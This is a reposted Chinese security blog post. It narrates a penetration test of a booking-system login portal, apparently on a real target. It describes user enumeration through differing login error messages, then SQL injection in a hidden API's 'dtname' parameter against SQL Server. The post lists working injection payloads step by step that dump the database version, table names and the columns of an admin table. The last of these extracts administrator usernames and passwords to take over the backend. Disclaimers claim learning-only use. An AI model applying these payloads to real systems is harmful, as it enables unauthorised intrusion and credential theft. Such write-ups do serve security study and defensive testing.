文章总结: 文档记录了一次完整的WEB安全渗透测试过程,从发现服务号预约功能入手,通过爆破登录框判断用户存在性,利用SQL注入漏洞逐步获取数据库信息、表结构和管理员凭证,最终成功接管后台。文章提供了具体的漏洞利用步骤和Payload示例,强调技术仅供学习用途。 综合评分: 75 文章分类: 渗透测试,WEB安全,漏洞分析,实战经验,安全工具
漏洞挖掘 | 520也不能忘记挖洞分享啊混蛋
原创
不学安全 不学安全
不学安全
2026年5月20日 12:00 福建
在小说阅读器读本章
去阅读
免责声明
请勿利用文章内的相关技术从事非法测试,用于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
前言
前言就是,好像没有前言一样
——————————————————————————————
正文
在服务号发现一个神秘资产
关注服务号后发现有一个预约功能
把连接复制到web打开发现是个登录框,尝试爆破
当用户存在时会显示密码错误,不存在则显示用户不存在
直接访问该域名发现跳转到了另一个登录口,尝试用上面获得的账号密码进行登录
查看js根据登录时收集到的信息对API进行搜索,发现一个神秘接口
根据提示尝试构造
当dtname为a’时报错提示’where ID>0 order by OrderBy’
尝试输入(select+1)a让语句合法,爆出了几个参数名
猜测后端语句为
sql ="SELECT ... WHERE dtname="+dtname +"where ID>0 order by OrderBy";
查看数据库为sql server2012
(select+1+ID,0+SID,@@version+CName,1+OrderBy)a
查看当前数据库的所有表
(select+1+ID,0+SID,name+CName,1+OrderBy+from+sysobjects+where+xtype%3d'U')a
对Sys_Manage系统管理表进行查询
(select+1+ID,0+SID,name+CName,1+OrderBy+from+syscolumns+where+id=object_id('Sys_Manage'))a
发现几个关键字段Uname、UNumber、Pwd
最后成功获取到管理员账号密码接管后台
(select+1+ID,0+SID,UNumber%2B'%7C'%2BPwd%2B'%7C'%2BUname+CName,1+OrderBy+from+Sys_Manage)a
往期文章
漏洞挖掘 | 从js接口泄露到Getshell
漏洞挖掘 | 记某证书站漏洞挖掘分享
漏洞挖掘 | 从小程序到拿下学校统一门户
漏洞挖掘 | 通过新生报到系统拿下统一认证
漏洞挖掘 | 通过已知漏洞去找相同系统小通杀思路分享
漏洞挖掘 | 记某次EDU证书站捡漏发现文件读取
漏洞挖掘 | 记某次EDU证书站挖掘运气好拿下主站以及严重
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:不学安全 不学安全 不学安全《漏洞挖掘 | 520也不能忘记挖洞分享啊混蛋》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论